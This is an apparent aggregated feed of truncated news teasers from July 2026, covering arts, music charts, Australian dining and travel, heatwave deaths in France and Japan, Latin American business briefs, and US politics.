Latin America · Culture Key Facts —What it is. The Eric and Dominique Laffont Competition is the Metropolitan Opera’s program to discover and develop exceptional young opera singers. —Who can enter. Vocalists aged 20 to 30 from Argentina, Chile, and Colombia can audition with a video of an operatic aria. —The prize path. District winners advance to a South America final in Santiago, then to New York semifinals and a Grand Finals Concert at the Met. —Cash awards. Semifinalists receive US$5,000, finalists US$10,000, and Grand Finals winners earn US$20,000 each. —First winners. Chilean soprano Camila Romero and Argentine mezzo-soprano Valeria Delmé were…

From rooftops to pasta bars: 14 new venues coming to Melbourne very soon Featuring new arrivals from Andrew McConnell and Chris Lucas, a double shot of energy for Chapel Street and two stellar regional openings, here is what’s landing before year’s end. Save You have reached your maximum number of saved items. Remove items from your saved list to add more. AAA Big-name restaurateurs, neighbourhood wine bars and ambitious suburban revamps – Melbourne’s hospitality landscape is warming up for a huge influx of newcomers. Halfway through 2026, some of the year’s hottest restaurant openings are still to come. Here are the places to bookmark. Arguably the…

Save You have reached your maximum number of saved items. Remove items from your saved list to add more. AAA It’s a blustery Monday morning, and inside Opera Australia’s Southbank rehearsal studios, the cast and crew of A Beautiful Noise: The Neil Diamond Musical are starting their second week of rehearsals. About a dozen young dancers in exercise gear are working with associate choreographer Yasmine Lee, traversing the space in exaggerated, slow-motion movements. In the rehearsal space next door, associate director Austin Regan is giving notes to the cast as they run scenes. The show opens with an elderly Diamond (Terence Crawford), talking to a…

Your support helps us to tell the story From reproductive rights to climate change to Big Tech, The Independent is on the ground when the story is developing. Whether it's investigating the financials of Elon Musk's pro-Trump PAC or producing our latest documentary, 'The A Word', which shines a light on the American women fighting for reproductive rights, we know how important it is to parse out the facts from the messaging. At such a critical moment in US history, we need reporters on the ground. Your donation allows us to keep sending journalists to speak to both sides of the story. The Independent is trusted by Americans across the entire political…

Rich Rodriguez discusses the ascent of Pat McAfee with Dan Dakich. Pat McAfee announced significant details Wednesday about his upcoming album. McAfee has become arguably the biggest power player on ESPN and in sports media on YouTube due to his absurd success with "The Pat McAfee Show." The former Indianapolis Colts punter has had the smoothest pivot from professional athletics to media that we've ever seen. EXCLUSIVE: COLIN COWHERD OPENS UP ABOUT SELLING THE VOLUME, SCALING BACK THREE-HOUR SHOW, AND RETIREMENT Now, he's entering the music industry. NFL Commissioner Roger Goodell talks with Pat McAfee on stage during Round Two of the 2026 NFL Draft…

This article was originally published in Rest of World, which covers technology’s impact outside the West. At the end of every year, Spotify Wrapped takes over social media feeds, with users showing off the annual recap of their top music choices. Lately, these reviews have taken on a more international flavor – packed with K-pop and Latino rhythms that mirror the platform’s explosive overseas expansion and increasingly diverse artist catalog. Launched in 2008, Spotify today has about 761 million users, including 293 million subscribers, in 184 markets. Brazilian funk, K-pop, Afrobeats, and Urban Latino are among its fastest-growing genres, and last…

Substack has launched a new feature that can show you which of your favorite newsletters are being written using AI. This week, the newsletter and writing platform announced an integration with the AI writing detection software Pangram that will allow users to scan posts, comments, and replies on Substack’s app to see an estimate of how much of the content was written by a human and how much was AI. In the short term, the move might be bad for Substack’s business, as it could expose many of the newsletters on its platform that aren’t entirely written by people. That could potentially erode trust in the platform’s ecosystem of independent news and…

Your support helps us to tell the story From reproductive rights to climate change to Big Tech, The Independent is on the ground when the story is developing. Whether it's investigating the financials of Elon Musk's pro-Trump PAC or producing our latest documentary, 'The A Word', which shines a light on the American women fighting for reproductive rights, we know how important it is to parse out the facts from the messaging. At such a critical moment in US history, we need reporters on the ground. Your donation allows us to keep sending journalists to speak to both sides of the story. The Independent is trusted by Americans across the entire political…

Miguel Covarrubias took New York by storm before turning 21 and forever changed Mexican history. The post Made in Mexico: Miguel Covarrubias, the man who illustrated the Jazz Age appeared first on Mexico News Daily

Future debuts The Real Me atop the Billboard 200, earning his twelfth No. 1 album. He now claims the fifth-most champions of all time. NEW YORK, NEW YORK - MAY 05: Future attends the 2025 Met Gala Celebrating "Superfine: Tailoring Black Style" at Metropolitan Museum of Art on May 05, 2025 in New York City. (Photo by Dimitrios Kambouris/Getty Images for The Met Museum/Vogue) Getty Images for The Met Museum/Vogue Less than 15 years ago, Future appeared on the Billboard 200 for the first time. The tally is often cited as the most important for albums in the United States, as it measures the most popular full-lengths and EPs in the United States.…

President Donald Trump gives an exclusive tour of the White House Ballroom project, highlighting its design, immense capacity and enhanced security features. He emphasizes it's a gift to America for future generations. NEWYou can now listen to Fox News articles! Lil Wayne is throwing his support behind one of President Donald Trump's most talked-about White House projects. The rap icon praised Trump's plan to build a massive White House ballroom during a Monday appearance on the "Friends Keep Secrets" podcast, arguing the new venue would spare performers from being pushed outside for major events. "I'm so glad to hear Trump say — when they was mad at…

With a lucky thirteenth week at No. 1 on Billboard's Digital Song Sales chart, Ella Langley's "Choosin Texas" ties three tracks as one of the longest-running leaders. NASHVILLE, TENNESSEE - NOVEMBER 19: (EDITORIAL USE ONLY) Ella Langley attends the 2025 CMA Awards at Music City Center on November 19, 2025 in Nashville, Tennessee. (Photo by Taylor Hill/WireImage) WireImage Ella Langley’s “Choosin’ Texas” has spent 39 weeks thus far on the Digital Song Sales chart, which measures the bestselling tracks in the United States through paid downloads from platforms such as iTunes. Digital purchases carry less weight in determining a song’s overall popularity…

Prince George plays on Cornwall beach in new birthday tribute video as he turns 13 The Prince and Princess of Wales have paid tribute to their son Prince George on his birthday, sharing a video of the now-teenager having fun in Cornwall. George, who turned 13 on Wednesday (22 July), can be seen climbing rocks, petting his dog, and playing cricket on the beach in a new footage. “Thank you for all the birthday wishes for George today,” said the Kensington Royal account as they shared the clip online. It comes hours after Kate and William shared a previously unseen photo of the teenager from last month’s Trooping the Colour as they wished him a happy…

São Paulo · Nightlife If You Only Go to One Place Itaú Cultural – Sonora Brasiliana: Juan Falú A stunning free concert by Argentine guitar master Juan Falú on Avenida Paulista. It is the perfect midweek cultural immersion – arrive early, soak up the gallery, then let the music transport you before heading into the Pinheiros night. Tonight at a Glance —Itaú Cultural Free live Latin guitar on Paulista; artsy mixed crowd; tonight 8 pm —Bar Brahma The most iconic samba-and-MPB house in Centro; tourists and locals; live music every night —Santana Bar Sophisticated jazz and blues in Pinheiros; date-night perfection; music from Wednesday —Biri Nait Clubby…

December 10, Simon Cowell's new boy band, debuts its first project, an EP titled On Your Side, inside the top 10 on nearly every chart in the U.K. PASADENA, CALIFORNIA - MARCH 24: Simon Cowell attends "America's Got Talent" Season 21 Media Day at Pasadena Civic Auditorium on March 24, 2026 in Pasadena, California. (Photo by Robin L Marshall/Getty Images) Getty Images For roughly the past decade, K-pop has largely dominated the global market when it comes to commercially successful boy bands and girl groups. South Korean acts regularly score international hits and score bestselling albums, while comparatively few new pop groups from Western countries…

Rio de Janeiro · Nightlife If You Only Go to One Place Bar da Lapa – Pique Novo This is the most traditional samba bar in Lapa, and tonight it hosts Pique Novo for a proper midweek roda de samba. The main act hits around midnight, giving you the full late-night Carioca experience in one iconic spot. Tonight at a Glance —Bar da Lapa Authentic pagode with Pique Novo, main show at midnight; the quintessential Lapa samba crowd on its most traditional night. —Rio Scenarium Samba with Arruda in a stunning antique-filled mansion; best for a dressed-up mixed crowd and a sit-down dinner with live music from 19:00. —Beco do Rato Intimate roda de samba with…

TL;DR: Pantalones Tequila and Tipsy Scoop teamed up on a Peaches \& Cream Margarita Ice Cream flavor made with Pantalones Organic Reposado Tequila. The limited-edition flavor launches July 22 and will be available at Tipsy Scoop locations through August, with nationwide shipping available through Goldbelly. Credit: Pantalones Tequila / Tipsy Scoop Matthew McConaughey’s Pantalones Tequila is giving margarita lovers a new way to enjoy their favorite summer drink — with a spoon. The tequila brand co-founded by Matthew and Camila McConaughey has teamed up with Tipsy Scoop to turn the classic cocktail into a frozen dessert just in time for National Tequila…

Decades after it became one of his first hits in the U.K., Neil Diamond's "Sweet Caroline" returns to the main songs tally in the nation, becoming a top 40 win again. American Pop musician Neil Diamond performs onstage at Madison Square Garden, New York, New York, July 24, 1986. (Photo by Gary Gershoff/Getty Images) Getty Images More than five decades after Neil Diamond released “Sweet Caroline” and it became one of his signature compositions, the song has taken on a life far beyond its original chart performance. For years, the track has been an unlikely fixture at sporting events, and unlike many anthems associated with one team, player or league,…

The southern greater glider (Petauroides volans) is a nocturnal marsupial native to the forests of southeastern Australia that’s capable of gliding from one tree to another thanks to a flexible membrane fixed between its forearms and hind legs. In a new study published in Australian Mammalogy, researchers recorded 41 such tree-to-tree leaps. The animals launched from an average height of 71.5 feet, landed at an average of 15.4 feet, and covered an average distance of 62.7 feet. Those are impressive jumps through space, especially when you add in that the maximum horizontal distance covered in a glide was 162.7 feet. Credit: Ana Gracanin There’s a…

Opinion I couldn’t wait to leave the town I grew up in. Now I love going back In this series, My Happy Place, our writers reflect on the holiday destinations in Australia and around the world that they cherish the most. July 23, 2026 — 5:00am Save You have reached your maximum number of saved items. Remove items from your saved list to add more. AAA Ripples on the Mitchell River mirror a dozen sulphur-crested cockatoos soaring overhead, their spread-winged reflections swimming below. The soft scent of eucalyptus drifts through damp air, rooted in the generations of Gippsland red gums that frame this gravel track, sweating so sweetly. As a June sunrise…

July 23, 2026 — 5:00am Save You have reached your maximum number of saved items. Remove items from your saved list to add more. AAA As I have edged past middle age and moved towards, well, later middle age, I have noticed myself becoming less judgmental. I don’t care about a person’s life choices, as long as they are nice human and do no harm to others. Just the other day, for example, I was listening to a podcast about polyamory as I was climbing the escalator at my local Westfield. Wouldn’t be my cup of tea, I thought, as a woman described her relationships with her three partners, but hey, good for her! As I congratulated myself on my…

Colombia · Business Key Facts —The trigger. Planned maintenance at the SPEC LNG regasification terminal in Cartagena ran from 30 July to 3 August 2026. —Ecopetrol’s response. Nine contingency contracts placed 81 GBTUD of natural gas onto the market to protect thermal power, homes, and vehicles. —Who was covered. Supply was directed to thermal generators, residential distributors, and compressed natural gas filling stations. —The fiscal shadow. Colombia’s fuel-subsidy system carries a potential COP$10 trillion (US$2.47 billion) financing gap. —Energy-security link. Without the bridge gas, the Caribbean coast risked power curtailments during the…

PARIS: France recorded 5,764 more deaths than usual during a record-breaking heatwave last month , health authorities said on Wednesday (Jul 22), describing the excess mortality among people aged 15 and older as "unprecedented". It was the highest excess mortality rate during a heatwave in the country since a devastating episode of high temperatures in 2003 that killed around 15,000 people, they added. Three heatwaves have swept across France since May, the latest in increasingly frequent such extreme weather events that scientists have linked to made-made climate change. The soaring temperatures caused havoc in a country where many homes, schools and…

Environment Canada issued heat warnings for most of B.C. on Wednesday as the hot weather is expected to stick around for a few days across the province. The organization says everyone should be careful as there is a risk to health with such high temperatures. This ridge of high pressure will bring elevated temperatures during the day and while it will cool down at night, temperatures will remain high. In the Fraser Canyon, where three wildfires are burning in the Boston Bar area, temperatures are expected to reach 40 C on Wednesday afternoon. A gradual cooling trend is expected later this week, according to Environment Canada. Heat affects everyone,…

Mexico · Business Key Facts —Downgrade. JPMorgan cut ASUR to Underweight from Neutral and lowered its price target to MX$ 615 (US$ 35.37). —Cancún traffic. Cancún passenger numbers fell 11.5% year over year in June 2026, reaching 2.1 million. —Mexico operations. ASUR’s Mexico traffic dropped 8.5% in June, with international passengers down 12.1%. —Peer comparison. While ASUR’s Q3 capacity is down 3% in Mexico, rival OMA is up 6% and GAP is flat. —Two-year trend. ASUR’s Mexico traffic fell 2% in 2025 after a 5% decline in 2024. ASUR, the Mexican airport group that operates Cancún International Airport and other key gateways, was downgraded by JPMorgan…

Argentina · Business Key Facts —Total raised in 2026. More than US$5.3 billion in corporate notes by Argentine energy companies. —Largest single deal. Edenor, the country’s biggest electricity distributor, issued US$550 million at 9.50%. —Pampa Energía’s activity. The integrated energy group placed US$700 million across two separate note offerings. —Investor logic. Buyers favor firms with dollar-linked revenues from Vaca Muerta shale and power generation. —Sovereign contrast. Argentina’s government remains shut out of international debt markets at reasonable rates. Argentina’s top energy companies have borrowed more than US$5.3 billion through…

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Murali Sivaramakrishnan \| Photo Credit: SPECIAL ARRANGEMENT The Chipko movement was not merely a sustenance movement but also a challenge to the hierarchy of development, poet, painter, and academic Murali Sivaramakrishnan has said. He was speaking on 50 years of Chipko, a seminal environment movement in India in the early 1970s, at a discussion on a book, 50 Years of Chipko – the Movement and its Afterlives, that has been edited by him, at an event organised by the Institute of English and the publishers Orient BlackSwan here on Wednesday. Mr. Sivaramakrishnan pointed out that Chipko was an awakening. It eventually grew into talking about…

A Mercedes-Benz logo is displayed on a used vehicle for sale at a dealership on November 11, 2025 in San Diego, CA. Kevin Carter \| Getty Images News \| Getty Images The Senate Commerce Committee advanced bipartisan legislation Wednesday aimed at toughing a ban on Chinese automakers from the U.S. market, even as Chairman Ted Cruz, R-Texas, warned that it could unintentionally bar Mercedes-Benz from selling vehicles in the country. Cruz said during the committee's markup of the Motor Vehicle Modernization Act of 2026 that the bill's 15% Chinese ownership threshold would cover Mercedes-Benz because two Chinese investors collectively own nearly 20% of…

At least 5,700 more people than usual died in France last month, as the country endured a historic heat wave, French public health officials said. That figure represented a sharp increase in the estimated death toll nationwide from June and early July's record temperatures. Public Health France said regions hit by the heat from June 17 to July 2 recorded 21,674 deaths from all causes. But without a heat wave, those same regions would have been expected to have seen far fewer deaths, or 15,910, based on statistical modeling using data from previous years, it said. The difference between expected and actual deaths — a total of 5,764 — are therefore…

The Federal Road Safety Corps (FRSC), Anambra Sector Command, has so far arrested 121 motorists over 214 alleged traffic offences during its ongoing “Operation Total Compliance” in the state. The Sector Commander, Bridget Asekhauno, disclosed this on Wednesday during the enforcement exercise in Awka. Mrs Asekhauno, who the Officer-in-Charge of Motor Vehicle Administration represented, Gloria Ezeugwu, said the three-day operation was conducted across the corps’ 12 zones nationwide. She said the exercise was designed to sensitise motorists to road safety regulations while enforcing compliance and curbing traffic violations capable of causing road…

Japan sizzled under sweltering, life-threatening heat on Wednesday, with temperatures expected to top ​40 degrees Celsius (104 degrees Fahrenheit) in some ‌cities in what the government has newly designated as a "brutally hot day." The weather agency issued heat stroke ​alerts for much of the country, forecasting ​a second straight day of "kokushobi" - literally meaning ⁠brutally hot day - with temperatures expected to reach ​40 C in Kumagaya, north of Tokyo, and ​Nagoya, in central Japan, Reuters reported. Authorities urged residents to use air conditioning liberally, hydrate regularly and avoid spending long hours ​outdoors. Japan has experienced…

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Descrease article font size Increase article font size France recorded at least 5,700 more deaths than usual during a historic heatwave last month, the public health agency said Wednesday, sharply increasing its estimates of the feared toll from record-shattering temperatures. Public Health France said regions hit by the heat from June 17 to July 2 recorded 21,674 deaths from all causes. But without a heatwave, those same regions would have been expected to have seen far fewer deaths, or 15,910, based on statistical modeling using data from previous years, it said. The difference between expected and actual deaths — a total of 5,764 — are therefore…

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Michigan GOP U.S. Senate candidate Mike Rogers argues Democrats have harmed Michigans economy, leading to job losses and higher living cost, on ‘The Big Weekend Show.’ NEWYou can now listen to Fox News articles! Former campaign official for Sen. Bernie Sanders, I-Vt., Joel Rubin called out the Vermont senator last week for pushing the "most categorically anti-Israel, antisemitic candidates" he's seen in recent years. "I think what Sanders and the Sanders operation have done is shove into our system the most categorically anti-Israel, antisemitic candidates that we’ve seen in a generation — if ever, certainly within the Democratic Party — and it’s by…

Brazil · Business Key Facts —New chairman. Manuel Lino Silva de Sousa Oliveira, known as “Ollie,” a 74-year-old independent Vale board member since 2021. —Term length. Oliveira will serve as chairman through April 2027, completing the current board cycle. —Vote margin. Oliveira defeated vice-chairman Marcelo Gasparino by roughly 1.97 billion votes to 1.06 billion. —Key backer. Previ, the Banco do Brasil employee pension fund and a major Vale shareholder, publicly backed Oliveira. —Market reaction. Vale shares extended gains after the result before paring, signaling initial investor relief. Vale shareholders elected Manuel Lino Silva de Sousa Oliveira…